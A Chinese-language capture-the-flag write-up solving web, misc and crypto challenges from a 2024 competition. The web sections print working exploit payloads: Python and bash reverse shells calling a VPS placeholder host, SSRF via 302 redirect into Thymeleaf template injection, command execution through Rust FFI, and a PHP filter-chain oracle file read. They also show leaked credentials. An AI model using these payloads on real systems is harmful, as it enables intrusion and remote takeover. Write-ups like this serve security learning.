2024年數字中國創新第四屆紅明谷杯網路安全大賽WP

渗透测试中心發表於2024-07-21

WEB

ezphp

題目描述:一支專注於衛星通訊技術的研究團隊正在努力改進他們的通訊系統,以提高資料傳輸的效率和安全性,團隊決定採用PHP 8.3.2來完善通訊系統開發。

 考點:php filter chain Oracle

PHP Filter鏈——基於oracle的檔案讀取攻擊

參考:https://xz.aliyun.com/t/12939?time__1311=mqmhqIx%2BxfOD7DloaGkWepSazHG%3D4D#toc-16

題目給出原始碼如下

 <?php
 highlight_file(__FILE__);
 // flag.php
 if (isset($_POST['f'])) {
     echo hash_file('md5', $_POST['f']);
 }
 ?>

image-20240721022130265

這裡可以用的專案:https://github.com/synacktiv/php_filter_chains_oracle_exploit/

考點:可用PHP Filter鏈-基於oracle的檔案讀取攻擊生成exp執行,題目提示php版本號正好滿足條件,下載exp進行利用

image-20240721022317838

執行payload,這裡可能需要多跑幾次才可以

 python3 filters_chain_oracle_exploit.py  --target http://eci-2zea1zzp9231ugqw9htd.cloudeci1.ichunqiu.com/ --file flag.php --parameter f

訪問/flag.php?ezphpPhp8,讀取生成的原始碼

image-20240721022347849

image-20240721022524879

 <?php
 if (isset($_GET['ezphpPhp8'])) {
     highlight_file(__FILE__);
 } else {
     die("No");
 }
 $a = new class {
     function __construct()
 {
     }
 
     function getflag()
 {
         system('cat /flag');
     }
 };
 unset($a);
 $a = $_GET['ezphpPhp8'];
 $f = new $a();
 $f->getflag();
 ?>

題目提示PHP版本為php 8.3.2,去PHP官網看ChangeLog,直接鎖定GH-13097

image-20240721030306000

本地除錯,發現這裡是可以用匿名類去讀取出來flag,構造payload

本地起個容器:

 docker run -itd -p 1238:80 php:8.3.2-apache
docker exec -it <容器id> /bin/bash

放flag.php,測試程式碼如下:

 <?php
 if (isset($_GET['ezphpPhp8'])) {
 //    highlight_file(__FILE__);
 } else {
 //    die("No");
 }
 $anonymous = new class {
     function __construct()
     {
     }
 
     function getflag()
     {
         system('cat /flag');
     }
 };
 $a = get_class($anonymous);
 echo urlencode($a);
 echo "\n";
 unset($anonymous);
 //echo get_class($a).': now you see me...';
 $a = urldecode("class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Fflag.php%3A7%240");
 $f = new $a();
 $f->getflag();
 var_dump($f);
 //throw new Exception(
 //    get_class($anonymous).' ...now you don\'t!', 
 //    E_USER_ERROR
 //);

可以看到能執行getflag方法:

image-20240721030403850

image-20240721022458707

構造exp

 /flag.php?ezphpPhp8=anonymous
 /flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$1
 /flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

image-20240721022543080

unauth

開局一個登入口

image-20240721022613215

洩露了網站路徑/www.zip中有admin的密碼:

image-20240721022644892

www.zip洩露原始碼如下:

 <?php
 if (!isset($_SERVER['PHP_AUTH_USER'])) {
     header('WWW-Authenticate: Basic realm="Restricted Area"');
     header('HTTP/1.0 401 Unauthorized');
     echo '小明是運維工程師,最近網站老是出現bug。';
     exit;
 } else {
     $validUser = 'admin';
     $validPass = '2e525e29e465f45d8d7c56319fe73036';
 
     if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
         header('WWW-Authenticate: Basic realm="Restricted Area"');
         header('HTTP/1.0 401 Unauthorized');
         echo 'Invalid credentials';
         exit;
     }
 }
 @eval($_GET['cmd']);
 highlight_file(__FILE__);
 ?>

簡單審計一下,可以執行命令但大部分被ban了。

登入後,存在一句話木馬,密碼為cmd,ban了很多函式,經過測試發現可以用pcntl_exec反彈shell:

//POST傳參,反彈shell
 1=pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("VPS地址",port埠));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
最終需要提權,嘗試suid未果,發現存在配置檔案config.inc.php,其密碼是admin使用者密碼

image-20240721022721413

 
<!--?php
 
 # If you are having problems connecting to the MySQL database and all of the variables below are correct
 # try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
 #   Thanks to @digininja for the fix.
 
 # Database management system to use
 $DBMS = 'MySQL';
 #$DBMS = 'PGSQL'; // Currently disabled
 
 # Database variables
 #   WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
 #   Please use a database dedicated to DVWA.
 #
 # If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.
 #   See README.md for more information on this.
 $_DVWA = array();
 $_DVWA[ 'db_server' ]   = '127.0.0.1';
 $_DVWA[ 'db_database' ] = 'dvwa';
 $_DVWA[ 'db_user' ]     = 'root';
 $_DVWA[ 'db_password' ] = 'b90e0086d8b1165403de6974c4167165';
 
 # Only used with PostgreSQL/PGSQL database selection.
 $_DVWA[ 'db_port '] = '5432';
 
 # ReCAPTCHA settings
 #   Used for the 'Insecure CAPTCHA' module
 #   You'll need to generate your own keys at: https://www.google.com/recaptcha/admin
 $_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
 $_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
 
 # Default security level
 #   Default value for the secuirty level with each session.
 #   The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
 $_DVWA[ 'default_security_level' ] = 'impossible';
 
 # Default PHPIDS status
 #   PHPIDS status with each session.
 #   The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.
 $_DVWA[ 'default_phpids_level' ] = 'disabled';
 
 # Verbose PHPIDS messages
 #   Enabling this will show why the WAF blocked the request on the blocked request.
 #   The default is 'disabled'. You can set this to be either 'true' or 'false'.
 $_DVWA[ 'default_phpids_verbose' ] = 'false';
 
 ?-->

發包反彈shell,執行命令來到互動式shell,利用獲取到的密碼b90e0086d8b1165403de6974c4167165切換admin使用者讀取flag即可

GET /?cmd=pcntl_exec('/usr/bin/python',['-c',base64_decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEyMy4xMjMuMTIzLjEyMyIsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIik=')]); HTTP/1.0
 Host: xxx.com
 Pragma: no-cache
 Cache-Control: no-cache
 Authorization: Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=
 Upgrade-Insecure-Requests: 1
 WWW-Authenticate: Basic realm="Restricted Area
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,vi;q=0.7
 Cookie: PHPSESSID=
 Connection: close

image-20240721022743516

playground

rust原始碼審計題目給出原始碼如下,這題基本給解爛了

#[macro_use] extern crate rocket;
 
 use std::fs;
 use std::fs::File;
 use std::io::Write;
 use std::process::Command;
 use rand::Rng;
 
 #[get("/")]
 fn index() -> String {
     fs::read_to_string("main.rs").unwrap_or(String::default())
 }
 
 #[post("/rust_code", data = "<code>")]
 fn run_rust_code(code: String) -> String{
     if code.contains("std") {
         return "Error: std is not allowed".to_string();
     }
     //generate a random 5 length file name
     let file_name = rand::thread_rng()
         .sample_iter(&rand::distributions::Alphanumeric)
         .take(5)
         .map(char::from)
         .collect::<String>();
     if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
         file.write_all(code.as_bytes());
     }
     if let Ok(build_output) = Command::new("rustc")
         .arg(format!("playground/{}.rs",&file_name))
         .arg("-C")
         .arg("debuginfo=0")
         .arg("-C")
         .arg("opt-level=3")
         .arg("-o")
         .arg(format!("playground/{}",&file_name))
         .output() {
         if !build_output.status.success(){
             fs::remove_file(format!("playground/{}.rs",&file_name));
             return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
         }
     }
     fs::remove_file(format!("playground/{}.rs",&file_name));
     if let Ok(output) = Command::new(format!("playground/{}",&file_name))
         .output() {
         if !output.status.success(){
             fs::remove_file(format!("playground/{}",&file_name));
             return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
         } else{
             fs::remove_file(format!("playground/{}",&file_name));
             return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
         }
     }
     return String::default();
 
 }
 
 #[launch]
 fn rocket() -> _ {
     let figment = rocket::Config::figment()
         .merge(("address", "0.0.0.0"));
     rocket::custom(figment).mount("/", routes![index,run_rust_code])
 }

題目邏輯大致就是去構造rust_code執行rust程式碼,這裡需要不出現std關鍵字,可執行命令,拷打ai就能出的題,繞過可呼叫C語言去執行,新增一個write函式()讀就行了,附上payload

image-20240721022813766

 extern "C" {
     // Existing bindings to C library functions for file operations
     fn fopen(filename: *const u8, mode: *const u8) -> *mut u8;
     fn fread(buffer: *mut u8, size: usize, count: usize, stream: *mut u8) -> usize;
     fn fclose(stream: *mut u8) -> i32;
     // Bind to the `write` function for writing to a file descriptor
     fn write(fd: i32, buf: *const u8, count: usize) -> isize;
 }
 
 fn main() {
     unsafe {
         // Open the file in read mode ("r")
         let filename = b"/flag\0";  // C strings require a null-terminator
         let mode = b"r\0";          // Mode "r" for read
         let file_ptr = fopen(filename.as_ptr(), mode.as_ptr());
 
         if !file_ptr.is_null() {
             let mut buffer = [0u8; 1024];
             // Read from the file into the buffer
             let bytes_read = fread(buffer.as_mut_ptr(), 1, buffer.len(), file_ptr);
             if bytes_read > 0 {
                 write(1, buffer.as_ptr(), bytes_read);
             } else {
                 // Handle the case where nothing was read
                 println!("Could not read from file or file was empty.");
             }
             // Close the file
             fclose(file_ptr);
         } else {
             // Handle the case where file couldn't be opened
             println!("Could not open the file.");
         }
     }
 }

image-20240721022833314

 POST /rust_code HTTP/1.1
 Host: xxx
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-TW,zh-CN;q=0.9,zh;q=0.8
 Content-Type: application/x-www-form-urlencoded
 Connection: close
 Content-Length: 146
 
 extern "C" {
     fn system(s: *const u8) -> i32;
 }
 
 fn main() {
     unsafe {
         system(b"cat /flag\0".as_ptr() as *const u8);
     }
 }

或者:

 
POST /rust_code HTTP/1.1
Host: eci-2ze7qox8oygjcap3uy31.cloudeci1.ichunqiu.com:8000
Content-Length: 17
Content-Type: application/x-www-form-urlencoded
 
include!("/flag")

image-20240721031010852

Simp1escape

Thymeleaf模板注入/Location跳轉賽後弄出來了,題目給了一個jar檔案,進行反編譯分析這一段

image-20240721022920343

302跳轉繞過,thymeleaf的SSTI

CurlController.class:

 
package com.example.controller;
 
 import com.example.utils.Utils;
 import java.io.BufferedReader;
 import java.io.BufferedWriter;
 import java.io.File;
 import java.io.FileWriter;
 import java.io.InputStreamReader;
 import java.net.HttpURLConnection;
 import java.net.InetAddress;
 import java.net.URL;
 import java.util.concurrent.TimeUnit;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.RestController;
 
 @RestController
 public class CurlController {
     private static final String RESOURCES_DIRECTORY = "resources";
     private static final String SAVE_DIRECTORY = "sites";
 
     public CurlController() {
     }
 
     @RequestMapping({"/curl"})
     public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception {
         if (!url.startsWith("http:") && !url.startsWith("https:")) {
             System.out.println(url.startsWith("http"));
             return "No protocol: " + url;
         } else {
             URL urlObject = new URL(url);
             String result = "";
             String hostname = urlObject.getHost();
             if (hostname.indexOf("../") != -1) {
                 return "Illegal hostname";
             } else {
                 InetAddress inetAddress = InetAddress.getByName(hostname);
                 if (Utils.isPrivateIp(inetAddress)) {
                     return "Illegal ip address";
                 } else {
                     try {
                         String savePath = System.getProperty("user.dir") + File.separator + "resources" + File.separator + "sites";
                         File saveDir = new File(savePath);
                         if (!saveDir.exists()) {
                             saveDir.mkdirs();
                         }
 
                         TimeUnit.SECONDS.sleep(4L);
                         HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection();
                         if (connection instanceof HttpURLConnection) {
                             connection.connect();
                             int statusCode = connection.getResponseCode();
                             if (statusCode == 200) {
                                 BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
 
                                 BufferedWriter writer;
                                 String line;
                                 for(writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ".html")); (line = reader.readLine()) != null; result = result + line + "\n") {
                                 }
 
                                 writer.write(result);
                                 reader.close();
                                 writer.close();
                             }
                         }
 
                         return result;
                     } catch (Exception var15) {
                         return var15.toString();
                     }
                 }
             }
         }
     }
 }

AdminController.class:

 
 package com.example.controller;
 
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import org.springframework.http.HttpStatus;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.thymeleaf.TemplateEngine;
 import org.thymeleaf.context.Context;
 import org.thymeleaf.spring5.SpringTemplateEngine;
 
 @Controller
 public class AdminController {
     public AdminController() {
     }
 
     @GetMapping({"/getsites"})
     public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception {
         String ipAddress = request.getRemoteAddr();
         if (!ipAddress.equals("127.0.0.1")) {
             response.setStatus(HttpStatus.FORBIDDEN.value());
             return "forbidden";
         } else {
             Context context = new Context();
             TemplateEngine engine = new SpringTemplateEngine();
             String dispaly = engine.process(hostname, context);
             return dispaly;
         }
     }
 }

漏洞點肯定是AdminController這裡,但是限制了本地訪問,但可以用 302 跳轉繞過。thymeleaf的SSTI可以參考上次rwctf的原題

 https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/#chatterbox%EF%BC%88solved%EF%BC%89

 /curl?url=http://vps:port/exploit.php

exploit.php: <?php header("Location:http://127.0.0.1:8080/getsites?hostname=[[${T(org.thymeleaf.util.ClassLoaderUtils).loadClass('org.apa'+'che.logging.log4j.util.LoaderUtil').newInstanceOf('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser').parseExpression('T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8wLjAuMC4wLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}")').getValue()}]]

或者:

在伺服器上跑個Flask,重定向到127.0.0.1:8080

 from flask import Flask, redirect, url_for, render_template, request
 app = Flask(__name__)
 
 @app.route('/', methods=['POST', 'GET'])
 def login():
     exp = "%3c%61%20%74%68%3a%68%72%65%66%3d%22%24%7b%27%27%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4c%6a%45%75%4d%53%34%78%4c%7a%49%35%4f%54%6b%35%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%7d%22%20%74%68%3a%74%69%74%6c%65%3d%27%70%65%70%69%74%6f%27%3e"
     return redirect(f"http://127.0.0.1:8080/getsites?hostname={exp}");
 
 if __name__ == '__main__':
     app.run(host="0.0.0.0", port=5000)

再利用題目/curl介面ssrf即可:

 /curl?url=http://1.1.1.1:5000/

監聽等反彈shell即可:

nc -lvvp 29999

image-20240721031432029

easyescape

設定了ttl=0,並且解析到實際發起請求有4s的間隔。還以為是DNS rebinding,但實測不行,今天看了看確實是兩次請求,存在DNS重繫結攻擊的可能,但本地還是遠端都打不通。利用302跳轉可以繞過。[圖片] 內網就是個Thymeleaf SSTI,又出網,直接彈shell。

 
Context context = new Context();
 SpringTemplateEngine engine = new SpringTemplateEngine();
 return engine.process(hostname, (IContext)context);

image-20240721023937328

hostname填這個:

 [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(java.lang.Boolean).forName("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(Runtime).getRuntime().exec('calc')").getValue()}]]

Misc

定位簽到

題目描述:

 題目內容:BD09 longitude: 117.813707, latitude: 26.381977
(提交格式:flag{4箇中文字})

https://lbsyun.baidu.com/jsdemo/demo/yLngLatLocation.htm

image-20240721024738993

加密流量

Wireshark開啟之後可以看到少量的資料包。img在第4個和第5個UDP包的Data欄位可以看到hex資料。img分別hex解密看看結果:imgimg現在得到如下資訊:

HANDSHAKEAES-EBC FF

那麼本道題的主旋律肯定是AES-ECB解密,以及在某個環節需要FF出場。接下來就是漫長的腦洞解密,挨個嘗試解密資料包的Data欄位。最終發現過濾UDP協議後,在第7個資料包和第31個資料包中可以提取出hex資料。img

 ada796133d9a31fa60df7a80fd81eaf6114e62d593b31a3d9eb9061c446a505698608c1e8a0e002b55272a33268c3752

第31個資料包

 ada796133d9a31fa60df7a80fd81eaf6a8642abc3e1b87b97d5914deaf34a5990de3339105f40d4bca0dc7c82893c8f470d2ce54ec5386a6e7dda6adbe92c7fdbb0f328790f6a2f098084892b2f2554fc6e632da9e00f4791118444dc7f58666f1a568ed25a8a4ef039bc2d92432e514f1a568ed25a8a4ef039bc2d92432e514f1
……
5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de14123c85cd6129c2a98f1c62bcbd45ca9f559

對比可以發現,前32個字元是一致的,分別將資料異或FF之後觀察。第7個資料包中前32個字元ada796133d9a31fa60df7a80fd81eaf6異或FF之後的結果是525869ecc265ce059f20857f027e1509,猜測這個大機率是Key。img刪掉第7個資料包中前32個字元,解密剩下的資料,是一個測試的flag:

 114e62d593b31a3d9eb9061c446a505698608c1e8a0e002b55272a33268c3752

img再用525869ecc265ce059f20857f027e1509作為Key來解密第31個資料包,同樣的,要刪掉第31個資料包Data欄位的前32個字元。img綜上,可以得到一個ole2文件,接下來可以分析文件宏程式碼,也可以用https://github.com/decalage2/oletools來提取。

 pip3 install oletools
olevba download.ole2

img可以得到6c666b6d713f333f323c383a6b6c6f3e693f3c6f683b396f326c6e683f6f3b3a6e3e6c3d3977再使用Cyberchef的XOR Brute Force模組來解密,發現再次異或0a即可得到flag:img

Crypto

CDMA

給出的signal資料存在高斯噪聲,先降噪,求平均值即可然後整個演算法可以看作是

image-20240721024513860

但是這個也不是正正好就是模2的矩陣乘法,向量內積的時候元素加元素是異或(模2加),但是最後做加法的時候又是單純求和 不過 0,1的異或演算法,和 1,-1的乘法運算可以一一對應

image-20240721024502270

因此上面的運算也可以對映成矩陣乘法,(正負好像得反一下)

於是 S 就可以看作是由 chips 線性變換而來,並且 chips 只有 1 和 -1,於是直接對 S 求一個LLL

得到 chips 後

根據 cdma 的轉換後的正交特性

image-20240721024534884

於是我們計算

image-20240721024549087

即可得到

image-20240721024605997

這樣子flag就由列向量變成行向量了。不過因為這裡使用的 1 和 -1,題目的基是 0 和 1,所以結果並不是32的倍數,不過根據實踐結果來看,也不復雜,只有兩種可能。

 with open("output.pkl", "rb") as file:
     signal = pickle.load(file)
 single_signal_list = []
 signals = []
 signals_col = []
 for i in range(0,len(signal)//1997):
     single_signal_list = signal[i*1997:(i+1)*1997]
     single_signal = round((sum(single_signal_list)/1997)*10)
     signals.append(single_signal)
     if len(signals) == 32:
         signals_col.append(signals)
         signals = [] 
 signals_matrix = matrix(ZZ,signals_col)
 chips = signals_matrix.LLL()[-11:-1]
 M_T = chips * signals_matrix.T
 for m in M_T:
     tag = m[0]
     flag=''.join(['0' if i == tag else '1' for i in m])
     print(int.to_bytes(int(flag,2),48))


賽題web原始碼下載:

連結: https://pan.baidu.com/s/1iaknIj8wHk4FXNSnxnnLKQ 提取碼: xd7c

參考地址:

https://mp.weixin.qq.com/s/5fAIqMEOWXQvBbWyCnx5Ag

https://mp.weixin.qq.com/s/QyvhWIylrXVbmlTz5QTZ9w

相關文章